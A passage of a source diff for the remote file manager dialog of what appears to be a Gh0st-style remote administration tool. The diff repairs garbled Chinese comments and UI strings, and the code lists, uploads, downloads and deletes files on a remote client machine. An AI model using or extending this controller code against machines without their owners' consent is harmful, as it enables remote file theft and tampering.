VolName[MAX_PATH]; //char FileSystem[MAX_PATH]; @@ -787,7 +787,7 @@ void CFileManagerDlg::FixedRemoteDriveList() i += lstrlen(pDrive + i) + 1; lpFileSystemName = pDrive + i; - // , Ϊվʾ + // 磁盘类型, 为空就显示磁盘名称 if (lstrlen(lpFileSystemName) == 0) { m_list_remote.SetItemText(nItem, 1, lpTypeName); } else { @@ -796,17 +796,17 @@ void CFileManagerDlg::FixedRemoteDriveList() i += lstrlen(pDrive + i) + 1; } - // Զ̵ǰ· + // 重置远程当前路径 m_Remote_Path = ""; m_Remote_Directory_ComboBox.ResetContent(); - ShowMessage("Զ̣װĿ¼ %s ", m_Remote_Path); + ShowMessage("远程:装载目录 %s 完成", m_Remote_Path); } void CFileManagerDlg::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; @@ -839,7 +839,7 @@ CString CFileManagerDlg::GetParentDirectory(CString strPath) void CFileManagerDlg::OnReceiveComplete() { switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) { - case TOKEN_FILE_LIST: // ļб + case TOKEN_FILE_LIST: // 文件列表 try { FixedRemoteFileList ( @@ -862,13 +862,13 @@ void CFileManagerDlg::OnReceiveComplete() Mprintf("[ERROR] Other exception\n"); } break; - case TOKEN_FILE_SIZE: // ļʱĵһݰļСļ + case TOKEN_FILE_SIZE: // 传输文件时的第一个数据包,文件大小,及文件名 CreateLocalRecvFile(); break; - case TOKEN_FILE_DATA: // ļ + case TOKEN_FILE_DATA: // 文件内容 WriteLocalRecvFile(); break; - case TOKEN_TRANSFER_FINISH: // + case TOKEN_TRANSFER_FINISH: // 传输完成 EndLocalRecvFile(); break; case TOKEN_CREATEFOLDER_FINISH: @@ -884,7 +884,7 @@ void CFileManagerDlg::OnReceiveComplete() SendFileData(); break; case TOKEN_RENAME_FINISH: - // ˢԶļб + // 刷新远程文件列表 GetRemoteFileList("."); break; default: @@ -898,18 +898,18 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) if (directory.GetLength() == 0) { int nItem = m_list_remote.GetSelectionMark(); - // ѡеģĿ¼ + // 如果有选中的,是目录 if (nItem != -1) { if (m_list_remote.GetItemData(nItem) == 1) { directory = m_list_remote.GetItemText(nItem, 0); } } - // Ͽõ· + // 从组合框里得到路径 else { m_Remote_Directory_ComboBox.GetWindowText(m_Remote_Path); } } - // õĿ¼ + // 得到父目录 if (directory == "..") { m_Remote_Path = GetParentDirectory(m_Remote_Path); } else if (directory != ".") { @@ -918,13 +918,13 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) m_Remote_Path += "\\"; } - // ĸĿ¼,شб + // 是驱动器的根目录,返回磁盘列表 if (m_Remote_Path.GetLength() == 0) { FixedRemoteDriveList(); return; } - // ǰջ + // 发送数据前清空缓冲区 int PacketSize = m_Remote_Path.GetLength() + 2; BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, PacketSize); @@ -937,7 +937,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); m_Remote_Directory_ComboBox.SetCurSel(0); - // õǰ + // 得到返回数据前禁窗口 m_list_remote.EnableWindow(FALSE); m_ProgressCtrl->SetPos(0); } @@ -953,20 +953,20 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) { - // ImageList + // 重新设置ImageList SHFILEINFO sfi = {}; HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON); HIMAGELIST hImageListSmall = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_SMALLICON); ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL); ListView_SetImageList(m_list_remote.m_hWnd, hImageListSmall, LVSIL_SMALL); - // ؽ + // 重建标题 m_list_remote.DeleteAllItems(); while(m_list_remote.DeleteColumn(0) != 0); - m_list_remote.InsertColumn(0, "", LVCFMT_LEFT, 200); - m_list_remote.InsertColumn(1, "С", LVCFMT_LEFT, 100); - m_list_remote.InsertColumn(2, "", LVCFMT_LEFT, 100); - m_list_remote.InsertColumn(3, "޸", LVCFMT_LEFT, 115); + m_list_remote.InsertColumn(0, "名称", LVCFMT_LEFT, 200); + m_list_remote.InsertColumn(1, "大小", LVCFMT_LEFT, 100); + m_list_remote.InsertColumn(2, "类型", LVCFMT_LEFT, 100); + m_list_remote.InsertColumn(3, "修改日期", LVCFMT_LEFT, 115); int nItemIndex = 0; m_list_remote.SetItemData @@ -975,27 +975,27 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) 1 ); /* - ListView ˸ - ǰSetRedraw(FALSE) - ºSetRedraw(TRUE) + ListView 消除闪烁 + 更新数据前用SetRedraw(FALSE) + 更新后调用SetRedraw(TRUE) */ m_list_remote.SetRedraw(FALSE); if (dwBufferLen != 0) { // for (int i = 0; i < 2; ++i) { - // Token5ֽ + // 跳过Token,共5字节 char *pList = (char *)(pbBuffer + 1); for(char *pBase = pList; pList - pBase < dwBufferLen - 1;) { char *pszFileName = NULL; - DWORD dwFileSizeHigh = 0; // ļֽڴС - DWORD dwFileSizeLow = 0; // ļֽڴС + DWORD dwFileSizeHigh = 0; // 文件高字节大小 + DWORD dwFileSizeLow = 0; // 文件低字节大小 int nItem = 0; bool bIsInsert = false; FILETIME ftm_strReceiveLocalFileTime; int nType = *pList ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL; - // i Ϊ 0 ʱĿ¼iΪ1ʱļ + // i 为 0 时,列目录,i为1时列文件 bIsInsert = !(nType == FILE_ATTRIBUTE_DIRECTORY) == i; pszFileName = ++pList; @@ -1007,7 +1007,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) m_list_remote.SetItemText(nItem, 2, sfi.szTypeName); } - // õļС + // 得到文件大小 pList += lstrlen(pszFileName) + 1; if (bIsInsert) { memcpy(&dwFileSizeHigh, pList, 4); @@ -1025,10 +1025,10 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) } m_list_remote.SetRedraw(TRUE); - // ָ + // 恢复窗口 m_list_remote.EnableWindow(TRUE); - ShowMessage("Զ̣װĿ¼ %s ", m_Remote_Path); + ShowMessage("远程:装载目录 %s 完成", m_Remote_Path); } void CFileManagerDlg::ShowMessage(char *lpFmt, ...) @@ -1040,9 +1040,9 @@ void CFileManagerDlg::ShowMessage(char *lpFmt, ...) memset(buff, 0, 1024); vsprintf(buff, lpFmt, arglist); - // fix: ̲߳ؼ + // fix: 多线程操作控件引发崩溃的问题 // m_wndStatusBar.SetPaneText(0, buff); - // msg 1ΪС,2Ϊָ + // msg 第1个参数为缓存大小,第2个参数为缓存指针 SendMessage(WM_MY_MESSAGE, 1024, (LPARAM)buff); va_end( arglist ); } @@ -1065,15 +1065,15 @@ void CFileManagerDlg::OnLocalView() m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_ICON); } -// ڹʾToolTip +// 在工具栏上显示ToolTip BOOL CFileManagerDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult) { ASSERT(pNMHDR->code == TTN_NEEDTEXTA || pNMHDR->code == TTN_NEEDTEXTW); - //һı߿򴰿ȴϢ + //让上一层的边框窗口优先处理该消息 if (GetRoutingFrame() != NULL) return FALSE; - //ANSI and UNICODE汾 + //分ANSI and UNICODE两个处理版本 TOOLTIPTEXTA* pTTTA = (TOOLTIPTEXTA*)pNMHDR; TOOLTIPTEXTW* pTTTW = (TOOLTIPTEXTW*)pNMHDR; TCHAR szFullText[256]; @@ -1081,7 +1081,7 @@ BOOL CFileManagerDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult) CString strTipText; UINT_PTR nID = pNMHDR->idFrom; - //idFromһӴڣõID + //如果idFrom是一个子窗口,则得到其ID。 if ( pNMHDR->code == TTN_NEEDTEXTA @@ -1089,18 +1089,18 @@ BOOL CFileManagerDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult) || pNMHDR->code == TTN_NEEDTEXTW && (pTTTW->uFlags & TTF_IDISHWND) ) { - //idFromǹľ + //idFrom是工具条的句柄 nID = ::GetDlgCtrlID((HWND)nID); } - if (nID != 0) { //0Ϊһָǰť - //õnIDӦַ + if (nID != 0) { //若是0,为一分隔栏,不是按钮 + //得到nID对应的字符串 AfxLoadString(nID, szFullText); - //õַȡTooltipʹõı + //从上面得到的字符串中取出Tooltip使用的文本 AfxExtractSubString(strTipText, szFullText, 1, '\n'); } - //Ʒı + //复制分离出的文本 #ifndef _UNICODE if (pNMHDR->code == TTN_NEEDTEXTA) lstrcpyn(pTTTA->szText, strTipText, sizeof(pTTTA->szText)); @@ -1113,12 +1113,12 @@ BOOL CFileManagerDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult) lstrcpyn(pTTTW->szText, strTipText, sizeof(pTTTW->szText)); #endif *pResult = 0; - //ʾTooltip + //显示Tooltip窗口 ::SetWindowPos(pNMHDR->hwndFrom, HWND_TOP, 0, 0, 0, 0, SWP_NOACTIVATE|SWP_NOSIZE|SWP_NOMOVE); - return TRUE; //Ϣ + return TRUE; //消息处理完毕 } -//////////////////////////////////ΪӦ////////////////////////////////////////// +//////////////////////////////////以下为工具栏响应处理////////////////////////////////////////// void CFileManagerDlg::OnLocalList() { // TODO: Add your command handler code here @@ -1174,7 +1174,7 @@ void CFileManagerDlg::OnRemoteView() } -// ΪĿ¼ʱϰť +// 为根目录时禁用向上按钮 void CFileManagerDlg::OnUpdateLocalPrev(CCmdUI* pCmdUI) { // TODO: Add your command update UI handler code here @@ -1184,7 +1184,7 @@ void CFileManagerDlg::OnUpdateLocalPrev(CCmdUI* pCmdUI) void CFileManagerDlg::OnUpdateLocalDelete(CCmdUI* pCmdUI) { // TODO: Add your command update UI handler code here - // ǸĿ¼ѡĿ0 + // 不是根目录,并且选择项目大于0 pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.GetSelectedCount() && m_list_local.IsWindowEnabled()); } @@ -1201,8 +1201,8 @@ void CFileManagerDlg::OnUpdateLocalCopy(CCmdUI* pCmdUI) pCmdUI->Enable ( m_list_local.IsWindowEnabled() - && (m_Remote_Path.GetLength() || m_list_remote.GetSelectedCount()) // Զ·Ϊգѡ - && m_list_local.GetSelectedCount()// ·Ϊգѡ + && (m_Remote_Path.GetLength() || m_list_remote.GetSelectedCount()) // 远程路径为空,或者有选择 + && m_list_local.GetSelectedCount()// 本地路径为空,或者有选择 ); } @@ -1223,19 +1223,19 @@ void CFileManagerDlg::OnUpdateRemotePrev(CCmdUI* pCmdUI) void CFileManagerDlg::OnUpdateRemoteCopy(CCmdUI* pCmdUI) { // TODO: Add your command update UI handler code here - // ǸĿ¼ѡĿ0 + // 不是根目录,并且选择项目大于0 pCmdUI->Enable ( m_list_remote.IsWindowEnabled() - && (m_Local_Path.GetLength() || m_list_local.GetSelectedCount()) // ·Ϊգѡ - && m_list_remote.GetSelectedCount() // Զ·Ϊգѡ + && (m_Local_Path.GetLength() || m_list_local.GetSelectedCount()) // 本地路径为空,或者有选择 + && m_list_remote.GetSelectedCount() // 远程路径为空,或者有选择 ); } void CFileManagerDlg::OnUpdateRemoteDelete(CCmdUI* pCmdUI) { // TODO: Add your command update UI handler code here - // ǸĿ¼ѡĿ0 + // 不是根目录,并且选择项目大于0 pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.GetSelectedCount() && m_list_remote.IsWindowEnabled()); } @@ -1267,25 +1267,25 @@ bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName) WIN32_FIND_DATA wfd; HANDLE hFind = FindFirstFile(lpszFilter, &wfd); - if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 return FALSE; do { if (wfd.cFileName[0] == '.') - continue; // Ŀ¼ + continue; // 过滤这两个目录 if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { char strDirectory[MAX_PATH]; wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName); - FixedUploadDirectory(strDirectory); // ҵĿ¼Ŀ¼еݹ + FixedUploadDirectory(strDirectory); // 如果找到的是目录,则进入此目录进行递归 } else { CString file; file.Format("%s%s%s", lpPathName, lpszSlash, wfd.cFileName); //Mprintf("send file %s\n",strFile); m_Remote_Upload_Job.AddTail(file); - // ļв + // 对文件进行操作 } } while (FindNextFile(hFind, &wfd)); - FindClose(hFind); // رղҾ + FindClose(hFind); // 关闭查找句柄 return true; } @@ -1303,95 +1303,95 @@ void CFileManagerDlg::OnLocalCopy() // TODO: Add your command handler code here // TODO: Add your command handler code here - // DragģҵDropĸļ + // 如果Drag的,找到Drop到了哪个文件夹 if (m_nDropIndex != -1 && m_pDropList->GetItemData(m_nDropIndex)) m_hCopyDestFolder = m_pDropList->GetItemText(m_nDropIndex, 0); - // ϴб + // 重置上传任务列表 m_Remote_Upload_Job.RemoveAll(); POSITION pos = m_list_local.GetFirstSelectedItemPosition(); //iterator for the CListCtrl while(pos) { //so long as we have a valid POSITION, we keep iterating int nItem = m_list_local.GetNextSelectedItem(pos); CString file = m_Local_Path + m_list_local.GetItemText(nItem, 0); - // Ŀ¼ + // 如果是目录 if (m_list_local.GetItemData(nItem)) { file += '\\'; FixedUploadDirectory(file.GetBuffer(0)); } else { - // ӵϴбȥ + // 添加到上传任务列表中去 m_Remote_Upload_Job.AddTail(file); } } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory if (m_Remote_Upload_Job.IsEmpty()) { - ::MessageBox(m_hWnd, "ļΪ", "", MB_OK|MB_ICONWARNING); + ::MessageBox(m_hWnd, "文件夹为空", "警告", MB_OK|MB_ICONWARNING); return; } EnableControl(FALSE); SendUploadJob(); } -//////////////// ļ //////////////// -// ֻܷصļ -// һһյʱصڶļ ... +//////////////// 文件传输操作 //////////////// +// 只管发出了下载的文件 +// 一个一个发,接收到下载完成时,下载第二个文件 ... void CFileManagerDlg::OnRemoteCopy() { m_bIsUpload = false; - // ļ + // 禁用文件管理窗口 EnableControl(TRUE); // TODO: Add your command handler code here - // DragģҵDropĸļ + // 如果Drag的,找到Drop到了哪个文件夹 if (m_nDropIndex != -1 && m_pDropList->GetItemData(m_nDropIndex)) m_hCopyDestFolder = m_pDropList->GetItemText(m_nDropIndex, 0); - // б + // 重置下载任务列表 m_Remote_Download_Job.RemoveAll(); POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl while(pos) { //so long as we have a valid POSITION, we keep iterating int nItem = m_list_remote.GetNextSelectedItem(pos); CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); - // Ŀ¼ + // 如果是目录 if (m_list_remote.GetItemData(nItem)) file += '\\'; - // ӵбȥ + // 添加到下载任务列表中去 m_Remote_Download_Job.AddTail(file); } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory - // ͵һ + // 发送第一个下载任务 SendDownloadJob(); } -// һ +// 发出一个下载任务 BOOL CFileManagerDlg::SendDownloadJob() { if (m_Remote_Download_Job.IsEmpty()) return FALSE; - // һ + // 发出第一个下载任务命令 CString file = m_Remote_Download_Job.GetHead(); int nPacketSize = file.GetLength() + 2; BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); bPacket[0] = COMMAND_DOWN_FILES; - // ļƫƣʱ + // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1); m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); - // бɾԼ + // 从下载任务列表中删除自己 m_Remote_Download_Job.RemoveHead(); return TRUE; } -// һϴ +// 发出一个上传任务 BOOL CFileManagerDlg::SendUploadJob() { if (m_Remote_Upload_Job.IsEmpty()) return FALSE; CString strDestDirectory = m_Remote_Path; - // ԶҲѡ񣬵Ŀļ + // 如果远程也有选择,当做目标文件夹 int nItem = m_list_remote.GetSelectionMark(); - // ļ + // 是文件夹 if (nItem != -1 && m_list_remote.GetItemData(nItem) == 1) { strDestDirectory += m_list_remote.GetItemText(nItem, 0) + "\\"; } @@ -1400,15 +1400,15 @@ BOOL CFileManagerDlg::SendUploadJob() strDestDirectory += m_hCopyDestFolder + "\\"; } - // һ + // 发出第一个下载任务命令 m_strOperatingFile = m_Remote_Upload_Job.GetHead(); DWORD dwSizeHigh; DWORD dwSizeLow; - // 1 ֽtoken, 8ֽڴС, ļ, '\0' + // 1 字节token, 8字节大小, 文件名称, '\0' HANDLE hFile; - CString fileRemote = m_strOperatingFile; // Զļ - // õҪ浽Զ̵ļ· + CString fileRemote = m_strOperatingFile; // 远程文件 + // 得到要保存到的远程的文件路径 fileRemote.Replace(m_Local_Path, strDestDirectory); m_strUploadRemoteFile = fileRemote; hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); @@ -1418,7 +1418,7 @@ BOOL CFileManagerDlg::SendUploadJob() m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+long long(1))) + dwSizeLow; SAFE_CLOSE_HANDLE(hFile); - // ݰļ + // 构造数据包,发送文件长度 int nPacketSize = fileRemote.GetLength() + 10; BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); memset(bPacket, 0, nPacketSize); @@ -1432,48 +1432,48 @@ BOOL CFileManagerDlg::SendUploadJob() LocalFree(bPacket); - // бɾԼ + // 从下载任务列表中删除自己 m_Remote_Upload_Job.RemoveHead(); return TRUE; } -// һɾ +// 发出一个删除任务 BOOL CFileManagerDlg::SendDeleteJob() { if (m_Remote_Delete_Job.IsEmpty()) return FALSE; - // һ + // 发出第一个下载任务命令 CString file = m_Remote_Delete_Job.GetHead(); int nPacketSize = file.GetLength() + 2; BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); if (file.GetAt(file.GetLength() - 1) == '\\') { - ShowMessage("Զ̣ɾĿ¼ %s\\*.* ", file); + ShowMessage("远程:删除目录 %s\\*.* 完成", file); bPacket[0] = COMMAND_DELETE_DIRECTORY; } else { - ShowMessage("Զ̣ɾļ %s ", file); + ShowMessage("远程:删除文件 %s 完成", file); bPacket[0] = COMMAND_DELETE_FILE; } - // ļƫƣʱ + // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1); m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); - // бɾԼ + // 从下载任务列表中删除自己 m_Remote_Delete_Job.RemoveHead(); return TRUE; } void CFileManagerDlg::CreateLocalRecvFile() { - // ü + // 重置计数器 m_nCounter = 0; CString strDestDirectory = m_Local_Path; - // Ҳѡ񣬵Ŀļ + // 如果本地也有选择,当做目标文件夹 int nItem = m_list_local.GetSelectionMark(); - // ļ + // 是文件夹 if (nItem != -1 && m_list_local.GetItemData(nItem) == 1) { strDestDirectory += m_list_local.GetItemText(nItem, 0) + "\\"; } @@ -1488,15 +1488,15 @@ void CFileManagerDlg::CreateLocalRecvFile() m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+long long(1))) + dwSizeLow; - // ǰļ + // 当前正操作的文件名 m_strOperatingFile = m_ContextObject->m_DeCompressionBuffer.GetBuffer(9); m_strReceiveLocalFile = m_strOperatingFile; - // õҪ浽ıصļ· + // 得到要保存到的本地的文件路径 m_strReceiveLocalFile.Replace(m_Remote_Path, strDestDirectory); - // Ŀ¼ + // 创建多层目录 MakeSureDirectoryPathExists(m_strReceiveLocalFile.GetBuffer(0)); @@ -1536,7 +1536,7 @@ void CFileManagerDlg::CreateLocalRecvFile() } if (m_nTransferMode == TRANSFER_MODE_CANCEL) { - // ȡ + // 取消传送 m_bIsStop = true; SendStop(); return; @@ -1556,33 +1556,33 @@ void CFileManagerDlg::CreateLocalRecvFile() nTransferMode = m_nTransferMode; } - // 1ֽToken,ֽƫƸλֽƫƵλ + // 1字节Token,四字节偏移高四位,四字节偏移低四位 BYTE bToken[9]; - DWORD dwCreationDisposition; // ļ򿪷ʽ + DWORD dwCreationDisposition; // 文件打开方式 memset(bToken, 0, sizeof(bToken)); bToken[0] = COMMAND_CONTINUE; - // ļѾ + // 文件已经存在 if (hFind != INVALID_HANDLE_VALUE) { - // ʾʲô - // + // 提示点什么 + // 如果是续传 if (nTransferMode == TRANSFER_MODE_ADDITION) { memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4); memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4); - // յijȵ + // 接收的长度递增 m_nCounter += FindFileData.nFileSizeHigh * (MAXDWORD+long long(1)); m_nCounter += FindFileData.nFileSizeLow; dwCreationDisposition = OPEN_EXISTING; } - // + // 覆盖 else if (nTransferMode == TRANSFER_MODE_OVERWRITE) { - // ƫ0 + // 偏移置0 memset(bToken + 1, 0, 8); - // ´ + // 重新创建 dwCreationDisposition = CREATE_ALWAYS; } - // ָƵ-1 + // 跳过,指针移到-1 else if (nTransferMode == TRANSFER_MODE_JUMP) { m_ProgressCtrl->SetPos(100); DWORD dwOffset = -1; @@ -1590,9 +1590,9 @@ void CFileManagerDlg::CreateLocalRecvFile() dwCreationDisposition = OPEN_EXISTING; } } else { - // ƫ0 + // 偏移置0 memset(bToken + 1, 0, 8); - // ´ + // 重新创建 dwCreationDisposition = CREATE_ALWAYS; } FindClose(hFind); @@ -1608,11 +1608,11 @@ void CFileManagerDlg::CreateLocalRecvFile() FILE_ATTRIBUTE_NORMAL, 0 ); - // Ҫ + // 需要错误处理 if (hFile == INVALID_HANDLE_VALUE) { m_nOperatingFileLength = 0; m_nCounter = 0; - ::MessageBox(m_hWnd, m_strReceiveLocalFile + " ļʧ", "", MB_OK|MB_ICONWARNING); + ::MessageBox(m_hWnd, m_strReceiveLocalFile + " 文件创建失败", "警告", MB_OK|MB_ICONWARNING); return; } SAFE_CLOSE_HANDLE(hFile); @@ -1621,25 +1621,25 @@ void CFileManagerDlg::CreateLocalRecvFile() if (m_bIsStop) SendStop(); else { - // ͼļtoken,ļƫ + // 发送继续传输文件的token,包含文件续传的偏移 m_ContextObject->Send2Client(bToken, sizeof(bToken)); } } -// дļ +// 写入文件内容 void CFileManagerDlg::WriteLocalRecvFile() { - // + // 传输完毕 BYTE *pData; DWORD dwBytesToWrite; DWORD dwBytesWrite; - int nHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 + int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9 FILESIZE *pFileSize; - // õݵƫ + // 得到数据的偏移 pData = m_ContextObject->m_DeCompressionBuffer.GetBuffer(nHeadLength); pFileSize = (FILESIZE *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); - // õļеƫ, ֵ + // 得到数据在文件中的偏移, 赋值给计数器 m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh); LONG dwOffsetHigh = pFileSize->dwSizeHigh; @@ -1663,7 +1663,7 @@ void CFileManagerDlg::WriteLocalRecvFile() int nRet = 0, i = 0; for (; i < MAX_WRITE_RETRY; ++i) { - // дļ + // 写入文件 nRet = WriteFile ( hFile, @@ -1677,11 +1677,11 @@ void CFileManagerDlg::WriteLocalRecvFile() } } if (i == MAX_WRITE_RETRY && nRet <= 0) { - ::MessageBox(m_hWnd, m_strReceiveLocalFile + " ļдʧ!", "", MB_OK|MB_ICONWARNING); + ::MessageBox(m_hWnd, m_strReceiveLocalFile + " 文件写入失败!", "警告", MB_OK|MB_ICONWARNING); m_bIsStop = true; } SAFE_CLOSE_HANDLE(hFile); - // Ϊ˱Ƚϣ + // 为了比较,计数器递增 m_nCounter += dwBytesWrite; ShowProgress(); if (m_bIsStop) @@ -1705,13 +1705,13 @@ void CFileManagerDlg::EndLocalRecvFile() if (m_Remote_Download_Job.IsEmpty() || m_bIsStop) { m_Remote_Download_Job.RemoveAll(); m_bIsStop = false; - // ô䷽ʽ + // 重置传输方式 m_nTransferMode = TRANSFER_MODE_NORMAL; EnableControl(TRUE); FixedLocalFileList("."); - ShowMessage("أװĿ¼ %s\\*.* ", m_Local_Path); + ShowMessage("本地:装载目录 %s\\*.* 完成", m_Local_Path); } else { - // ҿsleep»˿ǰݻûsendȥ + // 我靠,不sleep下会出错,服了可能以前的数据还没send出去 Sleep(5); SendDownloadJob(); } @@ -1729,9 +1729,9 @@ void CFileManagerDlg::EndLocalUploadFile() m_bIsStop = false; EnableControl(TRUE); GetRemoteFileList("."); - ShowMessage("Զ̣װĿ¼ %s\\*.* ", m_Remote_Path); + ShowMessage("远程:装载目录 %s\\*.* 完成", m_Remote_Path); } else { - // ҿsleep»˿ǰݻûsendȥ + // 我靠,不sleep下会出错,服了可能以前的数据还没send出去 Sleep(5); SendUploadJob(); } @@ -1744,9 +1744,9 @@ void CFileManagerDlg::EndRemoteDeleteFile() m_bIsStop = false; EnableControl(TRUE); GetRemoteFileList("."); - ShowMessage("Զ̣װĿ¼ %s\\*.* ", m_Remote_Path); + ShowMessage("远程:装载目录 %s\\*.* 完成", m_Remote_Path); } else { - // ҿsleep»˿ǰݻûsendȥ + // 我靠,不sleep下会出错,服了可能以前的数据还没send出去 Sleep(5); SendDeleteJob(); } @@ -1776,9 +1776,9 @@ void CFileManagerDlg::ShowProgress() { char *lpDirection = NULL; if (m_bIsUpload) - lpDirection = "ļ"; + lpDirection = "传送文件"; else - lpDirection = "ļ"; + lpDirection = "接收文件"; if ((int)m_nCounter == -1) { m_nCounter = m_nOperatingFileLength; @@ -1790,7 +1790,7 @@ void CFileManagerDlg::ShowProgress() if (m_nCounter == m_nOperatingFileLength) { m_nCounter = m_nOperatingFileLength = 0; - // رļ + // 关闭文件句柄 } } @@ -1799,15 +1799,15 @@ void CFileManagerDlg::OnLocalDelete() m_bIsUpload = true; CString str; if (m_list_local.GetSelectedCount() > 1) - str.Format("ȷҪ %d ɾ?", m_list_local.GetSelectedCount()); + str.Format("确定要将这 %d 项删除吗?", m_list_local.GetSelectedCount()); else { CString file = m_list_local.GetItemText(m_list_local.GetSelectionMark(), 0); if (m_list_local.GetItemData(m_list_local.GetSelectionMark()) == 1) - str.Format("ȷʵҪɾļС%sɾ?", file); + str.Format("确实要删除文件夹“%s”并将所有内容删除吗?", file); else - str.Format("ȷʵҪѡ%sɾ?", file); + str.Format("确实要把“%s”删除吗?", file); } - if (::MessageBox(m_hWnd, str, "ȷɾ", MB_YESNO|MB_ICONQUESTION) == IDNO) + if (::MessageBox(m_hWnd, str, "确认删除", MB_YESNO|MB_ICONQUESTION) == IDNO) return; EnableControl(FALSE); @@ -1816,7 +1816,7 @@ void CFileManagerDlg::OnLocalDelete() while(pos) { //so long as we have a valid POSITION, we keep iterating int nItem = m_list_local.GetNextSelectedItem(pos); CString file = m_Local_Path + m_list_local.GetItemText(nItem, 0); - // Ŀ¼ + // 如果是目录 if (m_list_local.GetItemData(nItem)) { file += '\\'; DeleteDirectory(file); @@ -1824,7 +1824,7 @@ void CFileManagerDlg::OnLocalDelete() DeleteFile(file); } } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory - // ļ + // 禁用文件管理窗口 EnableControl(TRUE); FixedLocalFileList("."); @@ -1836,22 +1836,22 @@ void CFileManagerDlg::OnRemoteDelete() // TODO: Add your command handler code here CString str; if (m_list_remote.GetSelectedCount() > 1) - str.Format("ȷҪ %d ɾ?", m_list_remote.GetSelectedCount()); + str.Format("确定要将这 %d 项删除吗?", m_list_remote.GetSelectedCount()); else { CString file = m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0); if (m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) == 1) - str.Format("ȷʵҪɾļС%sɾ?", file); + str.Format("确实要删除文件夹“%s”并将所有内容删除吗?", file); else - str.Format("ȷʵҪѡ%sɾ?", file); + str.Format("确实要把“%s”删除吗?", file); } - if (::MessageBox(m_hWnd, str, "ȷɾ", MB_YESNO|MB_ICONQUESTION) == IDNO) + if (::MessageBox(m_hWnd, str, "确认删除", MB_YESNO|MB_ICONQUESTION) == IDNO) return; m_Remote_Delete_Job.RemoveAll(); POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl while(pos) { //so long as we have a valid POSITION, we keep iterating int nItem = m_list_remote.GetNextSelectedItem(pos); CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); - // Ŀ¼ + // 如果是目录 if (m_list_remote.GetItemData(nItem)) file += '\\'; @@ -1859,7 +1859,7 @@ void CFileManagerDlg::OnRemoteDelete() } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory EnableControl(FALSE); - // ͵һ + // 发送第一个下载任务 SendDeleteJob(); } @@ -1944,16 +1944,16 @@ void CFileManagerDlg::SendFileData() SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); - int nHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 + int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9 DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength; DWORD nNumberOfBytesRead = 0; BYTE *lpBuffer = (BYTE *)LocalAlloc(LPTR, MAX_SEND_BUFFER); - // Token, Сƫƣ + // Token, 大小,偏移,数据 lpBuffer[0] = COMMAND_FILE_DATA; memcpy(lpBuffer + 1, 